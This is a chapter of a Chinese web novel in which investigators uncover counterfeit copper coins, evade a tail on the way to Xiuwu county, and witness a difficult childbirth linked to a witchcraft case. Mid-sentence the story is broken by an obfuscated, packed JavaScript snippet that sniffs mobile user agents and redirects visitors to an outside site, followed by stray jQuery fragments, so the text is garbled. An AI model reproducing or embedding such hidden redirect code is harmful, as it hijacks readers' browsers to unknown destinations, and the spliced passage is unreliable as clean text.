墨府侍卫队扮做完成任务的镖师，先行入城。
在怀州城的商贩眼中，这群钱袋鼓囊的外来客，无异于人傻钱多的财神爷。
无论秦楼楚馆、酒坊茶肆，还是街边摆的小摊、沿街叫卖的小贩，个个使出浑身解数招揽生意。
为了打探消息，侍卫们甘当那散财的冤大头，不料，消息没有比墨淮桑他们探听得多多少，倒是好几个人差点被当成使恶钱[1]的小贼。
他们一开始用碎银付账，渐渐地，用找回来的大串铜钱付账时，被一些店主或伙计拒收，说有些铜钱“成色不对”、“声音发哑”、“字迹不正”……
“确实不对。”东隅仔细端详手中的铜钱，斩钉截铁道。
连钱袋子都不曾带过的墨淮桑，更是从来摸过铜钱，他学东隅的动作，却不得要领：“要如何鉴别？”
“今天带您见见世面。”东隅搓搓手，小心掏出泛着灰白的钱袋，倒出几枚铜钱。
头顶一声轻嗤：“藏这么严实？是防我还是防墨言啊？”
东隅谨慎收起钱袋，对他的调侃不以为意：“您若是曾像我一样，一枚铜板掰成两瓣花，说不定藏得比我还严。”
墨淮桑微微一愣，眼底闪过一丝懊恼，不知为何胸口有些发闷。
“呐，请看。”东隅双手摊开，几枚铜钱分别躺在掌心，“从重量、色泽、铭文的清晰程度、碰撞的声音，比对一下？”
墨淮桑已经明确知道东隅左手上的是问题铜钱，他依照方法一一比对。
“真钱规整厚重，文字笔画流畅自然，色泽黄亮温润，敲击声清脆？至于重量，单看一枚差别不大，可若合在一起，同等数量的恶钱要更轻些。”
“少卿英明。”东隅笑眯眯地点头，一脸“孺子可教”的欣慰，好似下一秒便要摸上他的头，像对墨紫那样。
墨淮桑冷哼，将手中的铜钱一股脑丢给墨言。
“诶！我的铜板！”东隅泫然欲泣，拿她的钱，跟害她的命有什么区别？没有！
“眼光放长远点。”墨淮桑斜睨了她一眼，“这回立了功，有的是赏钱。”
他转而吩咐墨言：“找个靠谱的工匠，看能否辨别这恶钱的成分，传信给墨叔，看这恶钱是否到了京城？”
墨言面色凝重：“怀州境内有铜矿，三郎怀疑有人大规模私铸铜钱？”
墨淮桑目光一寒，面无表情地点头：“兹事体大，没有确凿证据，不可妄下定论。让他们继续查探那恶钱的来源，不用跟我们一道去修武县。”
“三郎，那修武县情况不明，为了您和小娘子的安危着想，还是带几个侍卫吧。”
墨言忧心忡忡，见墨淮桑没反对，便自去安排。
“前有扬州私盗金矿案，后有私铸铜钱……”东隅倒吸了口凉气，“胆儿肥的人可真多啊。”
“你先别操心这些，过来，把手伸出来。”吩咐完要事，墨淮桑重又想起方才的异样。
东隅不明所以，听话地走到他跟前，乖乖将手平举。
墨淮桑握住她的两只手朝上一翻。
东隅被吓得呼吸都几近停止，惊得一颤：“少……少卿……您……想做什么，这不合礼数啊……”
“不合礼数？”墨淮桑轻嗤，强忍住下一秒仿佛要冲破胸膛的心跳，板起脸，“先前你动不动就往我怀里扑，那就是你的礼数？”
东隅合上嘴不再嘟囔，虽说那是她为了避鬼情有可原，但对墨淮桑确实理亏，便不再挣扎，看他要做什么。
墨淮桑端详了她两手的手心，将左手递到她眼前：“你手心里怎么多了这么些红点？”
“咦？”东隅傻眼。
七八个红点，零碎分散在掌心，看不出规律，像极了被针戳出的血点，然而她既不痛又不痒，细看也没发现伤口。
“可能是水土不服引起的吧，没事儿。”东隅毫不在意地甩了甩手，她惯是皮糙肉厚，没必要为这等小事费心。
“其他地方有吗？”墨淮桑一瞬不瞬的盯着她。
“其他地方？”
墨淮桑轻咳：“胳膊、腿上、脚上，或者身体其他部位有吗？”
东隅眼神茫然，这她哪儿知道？连手上的红点都还是他发现的。
“你今晚沐浴的时候，瞧仔细些。”墨淮桑面容冷肃，认真吩咐道。
“……行。”东隅不明白他为何如此执着，一口答应。
第二天，东隅起床收拾妥当，去楼下与墨淮桑、墨言用早膳。
“阿兄、阿言，早啊。”
怀州城夜里凉爽，东隅睡得极好，心情也极好。
墨淮桑扣住她的粥碗，安静地盯着她。
东隅楞楞回视半晌，“啊”了一声，立即摇头：“仔细看了，只有手上有。”
“嗯。”墨淮桑面上看不出情绪，将一个方形碟子移到她跟前。
居然是昨天在茶馆吃到的点心，东隅眼睛发亮，冲墨淮桑甜甜一笑：“谢谢阿兄。”
墨言一直看他们打哑谜，嘴里含了口小米粥忘记咽，听到小娘子的声音甜得发腻，吓得一激灵……
“噗。”墨言擦了擦脸，东隅小娘子悠着点吧，您身上可穿着男装呢。
他用余光瞅了瞅自家郎君，墨淮桑如玉一般的脸上，泛起淡淡绯色，用茶盏挡脸掩饰异色。
果然三郎顶不住，墨言把头埋进粥碗里闷笑，笑够了才开始干正事。
“小二哥，我们郎君想去周围转转，听说你们怀州境内有不少名山，不知可否推荐一二，房间还请替我们保留，当然房费照付。”
“您这就问对人了。”小二哥笑得见牙不见眼，“武陟县内的神农山，雄奇险秀，吸引了不少文人墨客，值得您几位一看。对了，那里的山民还会兜售一些名贵药材，运气好的话能碰上千年老参呢。”
“哦？若真有好药材，还真想多买点带去北地，可惜这次出行仓促，人手不够……”墨言一脸惋惜。
“敢问几位郎君，可需要人手护送？我等正是镖师，无论是护卫人还是护送货物，我等都能胜任，适才在一旁听到两位说话，这才厚着脸皮毛遂自荐，还请郎君原谅我等的唐突。”
“哎呀，这不就两相便宜了。”小二哥认出这伙人傻钱多的镖师，想必上一趟走镖的钱也霍霍得差不多了吧。
“那就有劳了。”墨言欣然答应。
一刻钟后，一辆普通马车驶出怀州城门，身旁跟着几个身形高大的护卫，直奔武陟县的方向。
等到怀州城的城门完全消失在视线里，马车又奔驰了一刻。
墨言听到侍卫禀报，停下马车：“三郎，盯梢的尾巴回去了。”
墨淮桑眸色冷厉，淡笑嘲讽道：“不错，这幕后之人还挺谨慎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933657|164905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
不论是闲聊套话，还是刻意打听，怀州城中的人都回避修武县，好像那里是什么禁忌之地一般。
背后之人甚至在城门口设置盯梢，确保可疑之人往修武县去。
“三郎，有圣人给的详细舆图，从此地可抄近道去修武县城，约摸晚间可到。”
“出发。”
“是。”
马车调转个头，驶入一旁的小道，片刻后消失在森林中。
戌时中，墨淮桑一行抵达修武县城外。
“天色已晚，今晚我们就地歇息。”墨淮桑看了一眼东隅，改口道，“去附近看看，是否有人家可以借宿。”
墨言闻言，也下意识看向东隅：“是。”
心里止不住嘀咕，三郎这是心疼小娘子了？先前去四方山公干急行军时，也曾宿在郊野，也没见三郎怜香惜玉啊……
所幸他们找到一户农家，一对老夫妇打开门，听说他们是来采购此地特产绞胎瓷的，热情地匀了两间房出来。
东隅赶路累坏了，被褥下垫的好像是今年新收割的麦穗，在淡淡的草香与麦香里，她几乎到头就睡。
半夜，东隅被一阵近在耳边的“嘶嘶”声唤醒。
甫一睁眼，便见到小金鞭在她脸上狂躁地扭动，她一下清醒过来，警惕地看向四周：“怎么？你嗅到了妖气？”
她追着小金鞭走出房间，忍住拔腿跟过去的冲动，上次追查金矿案时，她跟着小金灵跑出驿站，最后昏倒在密林，自那以后，墨淮桑严令禁止她以身犯险。[2]
此时，隔壁房间的墨淮桑也被动静惊醒，推门而出。
“发生了……”
东隅抬手制止他的问话，慢慢靠近西厢房。
是一阵痛苦的呻吟，有人受伤？
东隅拍门：“老丈？老妪？还好吗？”
中间的正方内亮了灯，老头大喊：“老婆子快起来，真娘是不是要生了？”
真娘？东隅暗忖，莫非家里还有个怀孕的娘子？
老妇慌慌张张从正房出来，走到东隅身旁，可是房间从内上了门栓，听着房内的呻吟越来越痛苦，她急得直抹眼泪：“这可怎么办啊。”
“您别急。”东隅把她扶到一边，咬紧牙关正要撞门，只听得“砰”一声巨响，木门被墨淮桑一脚踹开。
墨言扶住木门歪向一边，月光洞入，一个肚大如罗的娘子，躺在床上动弹不得。
“真娘？好孩子，你这是快生了。”老妇有经验，忙出去张罗烧水。
一通忙乱间，东隅也打听清楚了，老夫妇的儿子前天去了隔壁县外祖家请稳婆，没想到儿媳妇突然发作。
“为何要去这么远的地方请稳婆？”
老妇长叹一声：“若是那郑女医还在，我们也不必……”
东隅听到“郑女医”，微微一愣，脑子似乎有什么闪念一晃而过。
“阿娘……啊……好痛……”
老妇赶到床前，看着奄奄一息，仿佛从水里捞出来的儿媳，惊惧不已，这是难产啊。
老妇跪倒在地，对着虚空磕头：“郑女医，罗娘子，求求你大发慈悲，庇佑我家真娘，让她顺利诞下孩儿吧，求求你了……”
东隅豁然抬眼，与墨淮桑四目相对，都看到对方眼里的震惊——
郑罗娘，正是那位陷入巫蛊案的老妇人。